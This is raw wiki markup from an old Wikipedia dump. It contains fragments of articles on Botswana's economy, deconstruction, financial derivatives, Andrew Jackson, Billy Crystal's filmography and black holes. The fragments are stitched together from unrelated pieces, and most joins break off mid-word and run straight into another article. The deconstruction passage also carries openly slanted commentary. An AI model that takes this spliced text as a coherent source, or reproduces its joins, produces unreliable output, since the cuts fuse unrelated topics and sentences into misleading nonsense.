outside the area more competitive in Botswana. Currently the SACU countries and the U.S. are negotiating a free trade agreement. Botswana is currently also negotiating a free trade agreement with [[Mercosur]] and an Economic Partnership Agreement with the [[European Union]] as part of SADC. Botswana's currency &amp;mdash; the [[Pula (currency)|Pula]] &amp;mdash; is fully convertible and is valued against a basket of currencies heavily weighted toward the South African [[Rand (currency)|Rand]]. Profits and direct investment can be repatriated without restriction from Botswana. The Botswana Government eliminated all exchange controls in 1999. The Central Bank devalued the Pula by 7.5% in February 2004 in a bid to maintain export competitiveness against the real appreciation of the Pula. There was a further 12% devalution in May 2005 and the policy of a &quot;crawling peg&quot; was adopted. Most (70%) of Botswana's electricity is imported from South Africa's [[Eskom]]. 80% of domestic production is concentrated in one plant, [[Morupule Power Station]] near [[Palapye]]. [http://www.miningweekly.co.za/min/sector/coal/?show=75117] [[Gaborone]] is host to the headquarters of the 14 nation [[Southern African Development Community]] (SADC), a successor to the [[Southern African Development Coordination Conference]](SADCC-launched in 1980), which focused its efforts on freeing regional economic development from dependence on apartheid South Africa. SADC embraced the newly democratic South Africa as a member in 1994 and has a broad mandate to encourage growth, development, and economic integration in Southern Africa. SADC's Trade Protocol, which was launched on September 1, 2000, calls for the elimination of all tariff and non-tariff barriers to trade by 2008 among the 11 signatory countries. If successful, it will give Botswana companies free access to the far larger regional market. SADC's failure to distance itself from the [[Robert Mugabe|Mugabe]] government in [[Zimbabwe]] has diminished the number of opportunities for cooperation between the U.S. and SADC. ===Government Funding for Local Businesses=== In 1996, the government set up the FAP (Financial Assistance Policy), the purpose of which was to help citizens set up businesses, and thus encourage employment and diversification of industry. This has undergone several revisions due to the need for a a balance between an easy to understand policy, and the need for fraud prevention. The policy is currently known as CEDA(Citizens Entrepeneurial Development Association) *[http://www.mti.gov.bw/index.php?option=com_content&amp;task=view&amp;id=21&amp;Itemid=54&amp;lang=en ] ===Transport and communications === Despite being a sparsely populated, semi-arid country about the size of [[Texas]] or [[France]], Botswana has managed to incorporate much of its interior into the national economy. An &quot;inner circle&quot; highway connecting all major towns and district capitals is completely paved, and the all-weather [[Trans-Kalahari Highway]] connects the country (and, through it, South Africa's commercially dominant [[Gauteng Province]]) to [[Walvis Bay]] in Namibia. A [[fiber-optic]] telecommunications network has been completed in Botswana connecting all major population centers. In November, 2003 representatives of Botswana, Namibia and South Africa signed an MOU to simplify documentation to move cargoes to and from the Port of Walvis Bay in Namibia. International flights usually arrive at [[Sir Seretse Khama International Airport]] just outside Gaborone. In addition to the government-owned newspaper and national radio network, there is an active, independent press (seven weekly newspapers). Two privately owned radio stations began operations in 1999. In 2000, the government-owned Botswana Television (BTV) was launched, which is Botswana's first national television station. GBC is a commercially owned television station that broadcast programs to the Gaborone area only. Foreign publications are sold without restriction in Botswana, and there are 18 commercial Internet service providers. Two cellular phone providers cover most of the country. In 2006, an electrified railway connecting Botswana and [[Lüderitz]], [[Namibia]] was proposed to carry coal and other minerals. [[Image:In the delta with George.jpg|thumb|right| Mokoro poler in the Okavango Delta]] ===Tourism=== Tourism plays a role in Botswana. A number of national parks and game reserves, with their abundant wildlife, are a top draw for tourists. ==Labour== Botswana is in the process or formulating an Action Programme on the Elimination of [[Child labour in Botswana|Child Labour]], which is expected to be adopted in the period 2006-2007. ==Defense== At the time of independence Botswana had no armed forces. It was only after attacks from the Rhodesian army that Botswana formed a [[Botswana Defence Force]] (BDF) in self-defence in [[1977]]. The [[President of Botswana|president]] is commander in chief and a defence council is appointed by the president. The BDF now has approximately 12,000 memb
lm of texts. If one tries through metaphysics to find meaning or intent ''outside'' text, they say, one only finds a further web of text from which one cannot escape using Western metaphysics. However, there is value, according to some deconstructive writers, in following the textual threads of Western metaphysics, which is something like wordplay. And one may hope, they suppose, to transcend Western metaphysics. This is quite different, in their view, from the nihilist assertion that meaning and intent do not exist, or that it is futile to seek them. Critics have also accused deconstruction of being a form of [[solipsism]], arguing that deconstruction implies the futility of seeking or trying to communicate accurate knowledge about the world. Deconstructive writers reject this assertion. They say that the existence of such knowledge is theoretically possible, but that Western philosophy and metaphysics have failed to prove a reliable source for it. All Western writers have done is to point to inherently untrustworthy text. No text-based knowledge, they say, is trustworthy; therefore, it is not knowledge. During the 1980s and '90s, the novelty of deconstructionist thinking helped to encourage the publication, by academic journals and university presses, of a great many deconstructionist readings. In retrospect, however, it seemed to many academic critics that such readings, even when viewed sympathetically, tended mostly toward a repetitious insistence that no matter what the text, any meaning to it was entirely indeterminate (or &quot;deferred&quot;), and/or, whatever its purpose, the text was deceptive and manipulative. Critics argued that the project of applying this basic deconstructionist tenet to individual works was sterile indeed. On a practical note, it is also observed that while deconstructionists deride objectivity and authoritativeness, they still go about their daily tasks depending as much as anyone else on the overall reliability of Western technology, medical knowledge, and other manifestations of objective and authoritative scientific findings. The sincere &quot;living out&quot; of deconstruction theory would seem to result in state of consciousness indistinguishable from extreme psychosis. As no deconstructionist is known to have chosen to live in such a state, or even to have attempted to do so, the sincerity and utility of deconstructive philosophy may be called into serious question. (But for an ancient advocacy of something similar, see Sextus Empiricus' defense of [[Philosophical skepticism#In the ancient West|Pyrrhonism]].) Perhaps the most damaging criticism of deconstruction is the observation that if all texts subvert honesty and truth, deconstructionist texts are just as false and dishonest as all others. Critics then ask why anyone should &quot;privilege&quot; deconstructive texts. As simply another text, Derrida's deconstructive philosophy itself cannot be trustworthy or accurate. And if deconstruction cannot provide knowledge, and no other discourse can provide it either, then all that we think must be pure illusion. Even if all that we think really is simply an illusion, the critics continue, our reason remains a very practical illusion that allows us to survive both as societies and as individuals. Deconstruction, they say, lends itself as an excuse to nihilists who wish to see societies as nothing but contending, meaningless illusions battling ruthlessly for tyranny over the quite useless and dispensable human mind. == History of deconstruction == During the period between the late [[1960s]] and the early [[1980s]] many thinkers influenced by deconstruction, including [[Jacques Derrida|Derrida]], [[Paul de Man]], [[Geoffrey Hartman]], and [[J. Hillis Miller]], worked at [[Yale University]]. This group came to be known as the [[Yale school (deconstruction)|Yale school]] and was especially influential in [[literary criticism]], as de Man, Miller, and Hartman were all primarily literary critics. Several of these theorists were subsequently affiliated with the [[University of California Irvine]]. (At a faculty meeting of the Department of English, Professor Martin Price, the chairman, while observing the surfeit of deconstructionists flooding the University with more hires in sight, asked his colleagues, &quot;I can understand hiring a few deconstructionists here and there. But do we really need to corner the market?&quot;) (More detailed institutional history could be added here.) === Precursors === Deconstruction has significant ties with much of Western philosophy; even considering only Derrida's work, there are existing deconstructive texts about the works of at least many dozens of important philosophers. However, deconstruction emerged from a clearly delineated philosophical context: * Derrida's earliest work, including the texts that introduced the term &quot;deconstruction,&quot; dealt with the [[phenomenology]] of [[Edmund Husserl]]: Derrida's first publication was a book-length ''Introduction'' to Husserl's ''The Origin of Geometry'', and ''Speech and Phenomena'', an early work, dealt largely with phenomenology. * A student and prior interpreter of Husserl's, [[Martin Heidegger]], was one of the most significant influences on Derrida's thought: Derrida's ''Of Spirit'' deals directly with Heidegger, but Heidegger's influence on deconstruction is much broader than that one volume. * The [[psychoanalysis]] of [[Sigmund Freud]] is an important reference for much of deconstruction: ''The Post Card'', important essays in ''Writing and Difference'', ''Archive Fever'', and many other deconstructive works deal primarily with Freud. * The work of [[Friedrich Nietzsche]] is a forerunner of deconstruction in form and substance, as Derrida writes in ''Spurs: Nietzsche's Styles''. * The [[structuralism]] of [[Ferdinand de Saussure]], and other forms of [[post-structuralism]] that evolved contemporaneously with deconstruction (such as the work of [[Maurice Blanchot]], [[Michel Foucault]], [[Louis Althusser]], [[Jacques Lacan]], etc.), were the immediate intellectual climate for the formation of deconstruction. In many cases, these authors were close friends, colleagues, or correspondents of Derrida's. ==Deconstruction in popular media== In popular media, deconstruction has been seized upon by [[conservative]] writers as a central example of what is wrong with modern [[academia]]. Editorials and columns come out with some frequency pointing to deconstruction as a sign of how self-evidently absurd English departments have become, and of how traditional values are no longer being taught to students. Conservatives frequently treat deconstruction as being equivalent to [[Marxism]]. These criticisms became particularly prevalent when it was discovered that [[Paul de Man]] had written pro-Nazi articles during World War II, due to what was seen as the inadequate and offensive response of many deconstructionist thinkers, especially Derrida, to this revelation. Popular criticism of deconstruction also intensified following the [[Sokal affair]], which many people took as an indicator of the quality of deconstructionism as a whole, despite Sokal's insistence that his hoax proved nothing of the sort. Deconstruction is also used by many popular sources as a synonym for [[revisionism]] - for instance, the CBS miniseries [[The Reagans]] was described by some as a &quot;deconstruction&quot; of the [[Ronald Reagan|Reagan administration]]. *[[Continental philosophy]] *[[cultural movement]] *[[Deconstructivism]]: an architectural movement inspired by deconstructionism. *[[feminism]] *[[feminist theory]] *[[literary criticism]] *[[literary theory]] *[[phenomenology]] *[[post-modernism]] *[[post-structuralism]] *[[psychoanalysis]] *[[queer theory]] *[[recursionism]] *[[reconstructivism]]: a social and artistic response to deconstructionism *[[structuralism]] ==External links== * [http://www.brocku.ca/english/courses/4F70/deconstruction.html &quot;Deconstruction: Some Assumptions&quot;] by [[John Lye]] * [http://www.press.jhu.edu/books/hopkins_guide_to_literary_theory/deconstruction.html Deconstruction] from The Johns Hopkins Guide to Literary Theory &amp; Criticism * [http://www.unizar.es/departamentos/filologia_inglesa/garciala/bibliography.html A Bibliography of Literary Theory, Criticism, and Philology] by [[José Ángel García Landa]] * [http://www2.arts.gla.ac.uk/SESLL/EngLit/ugrad/hons/theory/Ten%20Ways.htm Ten ways of thinking about deconstruction] by [[Willy Maley]] * [http://ontruth.com/derrida.html Jacques Derrida, Deconstructionism &amp; Postmodernism, by Cky J. Carrigan, Ph. D. (1996)] * [http://lacoue-labarthe.cjb.cc/ International Colloquium &quot;Deconstructing Mimesis - Philippe Lacoue-Labarthe&quot;] about the work of Lacoue-Labarthe and his mimetic version of deconstruction, scheduled to take place at the [[University of Paris IV: Paris-Sorbonne|Sorbonne]] in January [[2006]] ==References== *Culler, Jonathan. ''On Deconstruction: Theory and Criticism after Structuralism''. ISBN 0801413222 *Derrida, Jacques, [http://lucy.ukc.ac.uk/Simulate/Derrida_deconstruction.html &quot;Letter to A Japanese Friend,&quot;] ''Derrida and Différance'', ed. David Wood &amp; Robert Bernasconi, Warwick: Parousia Press 1985, p. 1. *Derrida, Jacques, ''Of Grammatology''. Trans. Gayatri Chakravorty Spivak. ISBN 0801858305 *Derrida, Jacques, ''Positions''. Trans. Alan Bass. Chicago: U. of Chicago Press, 1981. ISBN 0226143317 *Derrida, Jacques. ''Speech and Phenomena and Other Essays on Husserl's Theory of Signs''. Trans. David B. Allison. Evanston: Northwestern U.P., 1973. ISBN 081010590X *Eagleton, Terry. ''Literary Theory: An Introduction''. ISBN 081661251X *Ellis, John M. (1989). ''Against Deconstruction'' Princeton: Princeton University Press. ISBN 0-691-06754-6 *Johnson, Barbara, ''The Critical Difference'' (1981). *Klein, Anne Carolyn (1995). ''Meeting the Great Bliss Queen:
ch are distinguished by the way that they are traded in market: * '''Over-the-counter (OTC) derivatives''' are contracts that are traded directly between two parties, without going through an exchange or other intermediary. Products such as [[swap (finance)|swaps]], [[forward rate agreement]]s, and [[exotic option]]s are almost always traded in this way. The OTC derivatives market is huge. According to the [[Bank for International Settlements]], the total outstanding notional amount is USD 248 trillion at the end of December 2004{{mn|afgh|1}}. * '''Exchange-traded derivatives''' are those derivatives products that are traded via [[Derivatives exchange]]s. A derivatives exchange acts as an intermediary to all transactions, and takes [[Initial margin]] from both sides of the trade to act as a guarantee. The world's largest{{mn|foweek|2}} derivatives exchanges (by number of transactions) are the [[Korea Exchange]] (which lists [[KOSPI]] Index Futures &amp; Options), [[Eurex]] (which lists a wide range of European products such as interest rate &amp; index products), [[Chicago Mercantile Exchange]] and the [[Chicago Board of Trade]] ===Common contract types=== There are three major classes of derivatives: * [[futures contract|Futures]]/[[forward contract|Forwards]], which are contracts to buy or sell an asset at a specified future date. * [[Option]]s which are contracts that give the buyer the right (but not the obligation) to buy or sell an asset at a specified future date. * [[Swaps]], where the two parties agree to exchange cash flows ===Examples=== Some common examples of these derivatives are: {| border=&quot;1&quot; bordercolor=&quot;#ebebeb&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; ! rowspan=&quot;2&quot; bgcolor=&quot;#EBEBEB&quot; |UNDERLYING ! colspan=&quot;5&quot; bgcolor=&quot;#EBEBEB&quot; |CONTRACT TYPE |- ! bgcolor=&quot;#EBEBEB&quot; |Exchange traded futures ! bgcolor=&quot;#EBEBEB&quot; |Exchange traded options ! bgcolor=&quot;#EBEBEB&quot; |OTC swap ! bgcolor=&quot;#EBEBEB&quot; |OTC forward ! bgcolor=&quot;#EBEBEB&quot; |OTC option |- ! bgcolor=&quot;#EBEBEB&quot; |[[Equity Index]] | [[DJIA]] Index future &lt;BR /&gt; [[NASDAQ]] Index future | Option on [[DJIA]] Index future &lt;BR /&gt; Option on [[NASDAQ]] Index future | n/a | Back-to-back | n/a |- ! bgcolor=&quot;#EBEBEB&quot; |[[Money market]] | Eurodollar future &lt;BR /&gt; Euribor future | Option on Eurodollar future &lt;BR /&gt; Option on Euribor future | [[Interest rate swap]] | [[Forward rate agreement]] | [[Interest rate cap and floor]] &lt;BR /&gt; [[Swaption]] &lt;BR /&gt; [[Basis swap]] |- ! bgcolor=&quot;#EBEBEB&quot; |[[Bond]]s | Bond future | Option on Bond future | n/a | [[Repurchase agreement]] | [[Bond option]] |- ! bgcolor=&quot;#EBEBEB&quot; |Single [[Stock]]s |[[Single-stock futures|Single-stock future]] |Single-share option |[[Equity swap]] |Repurchase agreement |[[Stock option]]&lt;br /&gt;[[Warrant (finance)|Warrant]]&lt;br /&gt;[[Turbo warrant]] |- ! bgcolor=&quot;#EBEBEB&quot; |[[Foreign exchange]] |FX future |Option on FX future |[[Currency swap]] |FX forward |FX option |- ! bgcolor=&quot;#EBEBEB&quot; |Credit | n/a | n/a |[[Credit default swap]] | n/a |[[Credit default option]] |} Some less common examples of underlyings are: * [[Economic derivative]]s that pay off according to [[economic report]]s ([http://biz.yahoo.com/c/e.html]) as measured and reported by national [[statistical agencies]] *[[Energy derivative]] that payoff according to a wide variety of indexed energy prices. Usually classified as either physical or financial, where physical means the contract includes actual delivery of the underlying energy commodity (oil, gas, power, etc) *[[Freight derivative]] *[[Insurance derivative]] *[[Weather derivatives]] ==Cash flow== The payments between the parties may be determined by: * the price of some other, independently traded asset in the future (e.g., a [[common stock]]); * the level of an independently determined index (e.g., a stock market index or heating-degree-days); * the occurrence of some well-specified event (e.g., a company [[defaulting]]); * an [[interest rate]]; * an [[exchange rate]]; * or some other factor. Some derivatives are the right to buy or sell the underlying security or commodity at some point in the future for a predetermined price. If the price of the underlying security or commodity moves into the right direction, the owner of the derivative makes money; otherwise, they lose money or the derivative becomes worthless. Depending on the terms of the contract, the potential gain or loss on a derivative can be much higher than if they had traded the underlying security or commodity directly. ==Valuation== ===Market price and fair value=== Two common measures of value are: *[[Market price]], ie. the price at which traders are willing to buy or sell the contract *[[Fair value]] or the theoretical price, ie. a rational and unbiased estimate of the contract's fundamental value ===Determining the market price=== For exchange traded derivatives, market price is usually transparent (often published in real-time by the exchange, based on all the current bids and offers placed on that particular contract at any one time). Complications can arise with OTC or floor-traded contracts though, as trading is handled manually, making it difficult to automatically broadcast prices. In particular with OTC contracts, there is no central exchange to collate and disseminate prices. ===Determining fair value=== The fair value of a derivatives contract is often complex, partly because of the immense variation in contracts, and partly because there are often many different variables to consider. Fair valuation of derivatives is a central topic of [[financial mathematics]]. Where &quot;fair&quot; refers to the absence of [[arbitrage]], meaning that no riskless profits can be made by trading in assets. Crucial to the valuation of derivatives is also the [[stochastic]]s of the underlying assets, typically expressed as a [[stochastic process]]. A key equation for the theoretical [[valuation of options]] is the [[Black-Scholes formula]], that made it possible to replicate a stock [[option]] by a continuous buying and selling strategy in the plain stock. Other derived equations include the [[Binomial options model]], Kim and Garman-Kohlhagen models. ==Usages== ===Insurance and hedging=== One use of derivatives is as a tool to transfer [[risk]]. For example, farmers can sell [[futures contract]]s on a crop to a speculator before the harvest. The farmer offloads (or [[hedge (finance)|hedges]]) the risk that the price will rise or fall, and the speculator accepts the risk with the possibility of a large reward. The farmer knows for certain the revenue he will get for the crop that he will grow; the speculator will make a profit if the price rises, but also risks making a loss if the price falls. It is not unknown for farmers to walk away smiling, when they have lost out in the derivatives market, as the result of a hedge. In this case, they have profited from the real market from the sale of their crops. Contrary to popular belief, financial markets are not always a [[Zero-sum|zero-sum]] game. This is an example of a situation where both parties in a financial markets transaction benefit. Another example is the company [[General Electric]]. This company uses derivatives to &quot;match funding&quot; ([http://www.ge.com/en/company/investor/webcast/webcast_05062005.htm GE webcast on derivatives]) to mitigate interest rate and currency risk, and to lock in material costs. The program is strictly for forecasted and highly anticipated needs, and not a means to generate non-operating revenues. 90% of all derivatives revenue produced by derivatives sellers is for this kind of cost, cash, [[accounts receivable]] and [[accounts payable]] planning. On 2005-06-05 the company restated earnings with as much as $0.05 quarterly EPS (over 10%) in Q3 2003 ([http://www.ge.com/en/company/investor/secreport/ge_10ka_2004.htm Revised 2004 10K (PDF, 787 KB)]). ===Speculation and arbitrage=== Of course, speculators may trade with other speculators as well as with hedgers. In most financial derivatives markets, the value of speculative trading is far higher than the value of true hedge trading. As well as outright speculation, derivatives traders may also look for [[arbitrage]] opportunities between different derivatives on identical or closely related underlying securities. Other uses of derivatives are to gain an economic exposure to an underlying security in situations where direct ownership of the underlying is too costly or is prohibited by legal or regulatory restrictions, or to create a synthetic [[Short selling|short]] position. In addition to directional plays (i.e. simply betting on the direction of the underlying security), speculators can use derivatives to place bets on the [[Volatility|volatility]] of the underlying security. This technique is commonly used when speculating with traded options. Speculative trading in derivatives gained a great deal of notoriety in 1995 when [[Nick Leeson]], a trader at [[Barings Bank]], made poor and unauthorized investments in index futures. Through a combination of poor judgment on his part, lack of oversight by management, a naive regulatory environment and unfortunate outside events, Leeson incurred a 1.3 [[billion]] dollar loss that bankrupted the centuries old financial institution. ===Pricing and information sharing=== Futures markets are unusually efficient at gathering and processing information, and are often an extremely accurate predictor of events such as interest rate movements and oil price movements. [[DARPA]] also examined the idea of developing a futures market for world events, the [[Policy Analysis Market]], with the idea of predicting terrorism amongst other things. The idea was halted due to political uproar, as it was pointed out
;left&quot;|1833&amp;ndash;1837 |- |align=&quot;left&quot;|[[Postmaster General of the United States|Postmaster General]]||align=&quot;left&quot;|'''[[William T. Barry]]'''||align=&quot;left&quot;|1829&amp;ndash;1835 |- |align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Amos Kendall]]'''||align=&quot;left&quot;|1835&amp;ndash;1837 |- |align=&quot;left&quot;|[[United States Secretary of the Navy|Secretary of the Navy]]||align=&quot;left&quot;|'''[[John Branch]]'''||align=&quot;left&quot;|1829&amp;ndash;1831 |- |align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Levi Woodbury]]'''||align=&quot;left&quot;|1831&amp;ndash;1834 |- |align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Mahlon Dickerson]]'''||align=&quot;left&quot;|1834&amp;ndash;1837 |} &lt;br clear=&quot;all&quot;&gt; ===Supreme Court appointments=== *[[John McLean]] - 1830 *[[Henry Baldwin (judge)]] - 1830 *[[James Moore Wayne]] - 1835 *[[Roger Brooke Taney]] - Chief Justice - 1836 *[[Philip Pendleton Barbour]] - 1836 ===Supreme Court cases during his presidency=== *''[[Cherokee Nation vs. Georgia]]'', 1831 *''[[Worcester v. Georgia]]'', 1832 *''[[Charles River Bridge v. Warren Bridge]]'', 1837 ===States admitted to the Union=== * [[Arkansas]] - 1836 * [[Michigan]] - 1837 ==Family and personal life== [[Image:Andrew Jackson Portrait.jpg|left|thumb|200px|Portrait of Andrew Jackson]] Jackson's wife, [[Rachel Donelson Robards Jackson|Rachel]], died of a heart attack just 2 months prior to his taking office as President. She had supposedly divorced her first husband, Col. Lewis Robards; but there were &quot;questions&quot; about the legality of the divorce. Jackson deeply resented attacks on his wife's honor; he killed [[Charles Dickinson (historical figure)|Charles Dickinson]] in a duel over a horse-racing debt and an insult to his wife on [[May 30]], [[1806]]. Jackson was also injured during the duel, and the bullet was so close to his heart that it could never be safely removed. It caused him considerable pain for the rest of his life. Jackson blamed [[John Quincy Adams]] for Rachel's death, because of the marital scandal being brought up in the election of 1828. He felt that this had hastened her death, and never forgave Adams. Jackson had two adopted sons, [[Andrew Jackson Jr.]], the son of Rachel's brother Severn Donelson, and Lyncoya, a [[Creek people|Creek]] Indian orphan adopted by Jackson after the [[Creek War]]. Lyncoya died in 1828 at age 16, probably from [[pneumonia]] or [[tuberculosis]]. The Jacksons also acted as guardians for eight other children. John Samuel Donelson, Daniel Donelson, and [[Andrew Jackson Donelson]] were the sons of Rachel's brother Samuel Donelson who died in 1804. Andrew Jackson Hutchings was Rachel's orphaned grand nephew. Caroline Butler, Eliza Butler, Edward Butler, and Anthony Butler were the orphaned children of Edward Butler, a family friend. They came to live with Andrew and Rachel after the death of their father. The widower Jackson invited Rachel's niece [[Emily Donelson]] to act as his White House hostess and unofficial [[FLOTUS|First Lady]]. Emily was married to [[Andrew Jackson Donelson]], who acted as Jackson's [[private secretary]]. The relationship between the President and Emily became strained during the [[Petticoat Affair]], and the two became estranged for over a year. They eventually reconciled and she resumed her duties as White House hostess. [[Sarah Yorke Jackson]], the wife of Andrew Jackson Jr., became co-hostess of the White House in 1834. It was the only time in history when two women simultaneously acted as unofficial First Lady. Sarah took over all hostess duties after Emily died in 1836. Jackson remained influential in both national and state politics after retiring to &quot;[[The Hermitage]]&quot;, his [[Nashville, Tennessee|Nashville]] home, in 1837. Though a slave-holder, Jackson was a firm advocate of the federal union of the states, and declined to give any support to talk of [[secession]]. Jackson was a lean figure standing at 6 feet, 1 inch (1.85 m) tall, and weighing between 130 and 140 pounds (64 kg) on average. Jackson also had an unruly shock of red hair, which had completely grayed by the time he became president at age 61, in 1829. He had a pair of penetrating deep blue eyes. Jackson was one of the more sickly presidents, suffering from chronic headaches, abdominal pains, and a hacking cough that often brought up blood and sometimes even made his whole body shake. After retiring to Nashville he enjoyed eight more years of retirement and died at the Hermitage on June 8, 1845 at the age of 78, of chronic tuberculosis, &quot;[[dropsy]]&quot; and heart failure. His last words were: &quot;Oh, do not cry. Be good children, and we shall all meet in Heaven.&quot; In his will, Jackson left his entire estate to his adopted son, Andrew Jackson Jr., except for specifically enumerated items that were left to various other friends and family members. Jackson left several [[slaves]] to his daughter-in-law, and grandchildren. Jackson left a sword to his grandson, with the injunction, ''&quot;that he will always use it in defence of our glorious Union.&quot;'' ==Memorials and movies== [[Image:StLouisCathedralJacksonStatue.jpg|thumb|right|[[Jackson Square]] in [[New Orleans, Louisiana|New Orleans]].]] * Memorials to Jackson include a set of three identical equestrian statues located in different parts of the country. One is in [[Jackson Square]] in [[New Orleans, Louisiana]]. Another is in [[Nashville, Tennessee|Nashville]] on the grounds of the [[Tennessee State Capitol]]. The other is in [[Washington, D.C.]] near the [[White House]]. * Numerous counties and cities are named after him, including [[Jacksonville, Florida]], [[Jackson, Michigan]], [[Jackson, Mississippi]], [[Jackson County, Florida]], and [[Jackson County, Missouri]]. * [[United States dollar]] &amp;mdash; Jackson's portrait appears on the [[American twenty dollar bill|$20 bill]]. He has appeared on $5, $10, $50, and $10,000 bills in the past, as well as a Confederate $1,000. * [[Black Jack (stamp)|Blackjack]] United States postage stamp * The story of Andrew and Rachel Jackson's life together was told in [[Irving Stone]]'s best-selling 1951 novel ''The President's Lady'', which was made into the 1953 film of the same title, starring [[Susan Hayward]], [[Charlton Heston]], [[John McIntire]], and [[Carl Betz]] and directed by [[Henry Levin]]. The relationship between the two was also the basis of a successful documentary by the [[Public Broadcasting Service]], called ''Rachel and Andrew Jackson: A Love Story.'' * Heston played Jackson in the 1958 version of ''[[The Buccaneer]]'', a film about the role of pirate [[Jean Lafitte]] in the [[Battle of New Orleans]]. [[Hugh Sothern]] played Jackson in the original 1938 version of the film. ==Trivia== * During Jackson's Administration, the U.S Government was, for the first and ([[as of 2006]]) only time, debt free. * During the 1828 election, his opponents referred to him as a &quot;Jackass&quot;. Jackson liked the name and used the Jackass as a symbol for a while, but it died out. [http://www.c-span.org/questions/week174.htm] ==See also== * [[U.S. presidential election, 1824]] * [[U.S. presidential election, 1828]] * [[U.S. presidential election, 1832]] * [[List of places named for Andrew Jackson]] * [[The Hermitage]], Andrew Jackson's home, now a tourist destination * [[List of people on stamps of Ireland]] ==Notes== # {{note|Jefferson}} Paul Leicester Ford, ''The Writings of Thomas Jefferson'' 10 vols. (New York, 1892-99), 10: 331. # {{note|remini}} [[Robert V. Remini]], ''Andrew Jackson and his Indian Wars''. (2001) ==References== ===Primary sources=== * Bassett John Spencer, ed. ''Correspondence of Andrew Jackson'' Vols. 1-6. (1926). * Smith Sam B., and Harriet Chappell Owsley, eds. ''Papers of Andrew Jackson'' . Knoxville: University of Tennessee Press, Vol. 1, 1980. * Moser Harold D., Sharon MacPherson, and Charles F. Bryan Jr., eds. ''The Papers of Andrew Jackson''. Vols. 2-4. Knoxville: University of Tennessee Press, 1988. * [http://www.yale.edu/lawweb/avalon/presiden/jackpap.htm online speeches and presidential messages] ===Secondary sources=== *Brustein, Andrew. ''The Passions of Andrew Jackson''. New York: Knopf, (2003). *Bugg Jr. James L. ed. ''Jacksonian Democracy: Myth or Reality?'' (1952), excerpts from scholars * Gammon, Samuel Rhea. ''The Presidential Campaign of 1832'' (1922)] * Hammond, Bray. ''Andrew Jackson's Battle with the &quot;Money Power&quot;'' (1958) ch 8, an excerpt from his Pulitzer-prize-winning ''Banks and Politics in America: From the Revolution to the Civil War'' (1954). *Hofstatder, Richard. ''The American Political Tradition'' (1948), chapter on Jackson. *James, Marquis. ''The Life of Andrew Jackson'' New York: Bobbs-Merrill, 1938. Combines two books: ''The Border Captain'' and ''Andrew Jackson: Portrait of a President''; winner of the [[Pulitzer Prize for Biography or Autobiography|Pulitzer Prize for Biography]]. * Latner Richard B. ''The Presidency of Andrew Jackson: White House Politics, 1820-1837'' (1979), standard survey. *Ratner, Lorman A. ''Andrew Jackson and His Tennessee Lieutenants: A Study in Political Culture'' (1997) *[[Robert V. Remini]], ''The Life of Andrew Jackson''. Abridgment of Remini's 3-volume biography, (1998) ** ''Andrew Jackson and the Course of American Empire, 1767-1821'' (1977); ''Andrew Jackson and the Course of American Freedom, 1822-1832'' (1981); ''Andrew Jackson and the Course of American Democracy, 1833-1845'' (1984) * Remini Robert. ''The Legacy of Andrew Jackson: Essays on Democracy, Indian Removal, and Slavery'' (1988) *Rowland, Dunbar. ''Andrew Jackson's Campaign against the British, or, the Mississippi Territory in the War of 1812, concerning the Military Operations of the Americans, Creek Indians, British, and Spanish, 1813-18
1) as &quot;Lee Phillips&quot; * ''[[Monsters, Inc.]]'' (2001) as &quot;Michael (Mike) Wazowski&quot; (voice) * ''[[Analyze That]]'' (2002) as &quot;Ben Sobel, M.D.&quot; * ''[[Howl's Moving Castle]]'' (2005) as &quot;Calcifer&quot; (voice) * ''[[Have a Nice Day]]'' (2006) ==External links== *{{imdb name|id=0000345|name=Billy Crystal}} [[Category:1947 births|Crystal, Billy]] [[Category:Living people|Crystal, Billy]] [[Category:American film actors|Crystal, Billy]] [[Category:Impressionists|Crystal, Billy]] [[Category:Jewish American actors|Crystal, Billy]] [[Category:Long Islanders|Crystal, Billy]] [[Category:Saturday Night Live cast members|Crystal, Billy]] [[Category:American television actors|Crystal, Billy]] [[da:Billy Crystal]] [[de:Billy Crystal]] [[fr:Billy Crystal]] [[nl:Billy Crystal]] [[nn:Billy Crystal]] [[sv:Billy Crystal]] [[tr:Billy Crystal]]</text> </revision> </page> <page> <title>Black hole</title> <id>4650</id> <revision> <id>42011243</id> <timestamp>2006-03-03T05:09:21Z</timestamp> <contributor> <username>MegaHasher</username> <id>739613</id> </contributor> <comment>added a reference</comment> <text xml:space="preserve">{{dablink|This article is about an object in [[astrophysics]]. For other uses, see [[Black hole (disambiguation)]].}} {{General relativity}} :''For any questions on black holes see [[Black hole FAQ]]'' A '''black hole''' is a concentration of [[mass]] great enough that the force of gravity prevents anything from escaping it except through [[quantum tunnelling]] behaviour (known as [[Hawking Radiation]]). The [[gravitational field]] is so strong that the [[escape velocity]] near it exceeds the [[speed of light]]. This implies that nothing, not even [[light]], can escape its [[gravity]]. The term &quot;black hole&quot; is widespread, even though it does not refer to a ''hole'' in the usual sense, but rather a region of [[space]] from which nothing can return. The existence of black holes in the [[universe]] is well supported by astronomical observation, particularly from studying [[X-ray]] emission from [[X-ray binaries]] and [[active galactic nuclei]]. ==History== The concept of a body so massive that not even light could escape it was put forward by the [[England|English]] [[geologist]] [[John Michell]] in a 1783 paper sent to the [[Royal Society]]. At that time, the [[Isaac Newton|Newtonian]] theory of [[gravity]] and the concept of [[escape velocity]] were well known. Michell computed that a body 500 times the [[radius]] of the Sun and of the same [[density]] would have, at its surface, an escape velocity equal to the [[speed of light]], and therefore would be [[invisible]]. In his words: : ''If the semi-diameter of a sphere of the same density as the Sun were to exceed that of the Sun in the proportion of 500 to 1, a body falling from an infinite height towards it would have acquired at its surface greater velocity than that of light, and consequently supposing light to be attracted by the same force in proportion to its vis inertiae (inertial mass), with other bodies, all light emitted from such a body would be made to return towards it by its own proper gravity.'' Although he thought it unlikely, Michell considered the possibility that many such objects that cannot be seen might be present in the cosmos. In 1796, the [[France|French]] mathematician [[Pierre-Simon Laplace]] promoted the same idea in the first and second edition of his book ''[[Exposition du Systeme du Monde]].'' It disappeared in later editions. The whole idea gained little attention in the 19th century, since light was thought to be a massless wave, not influenced by gravity. In 1915, [[Albert_Einstein|Einstein]] developed the theory of gravity called [[General relativity|General Relativity]]. Earlier he had shown that gravity does influence light. A few months later, [[Karl Schwarzschild]] gave the [[Schwarzschild metric| solution]] for the gravitational field of 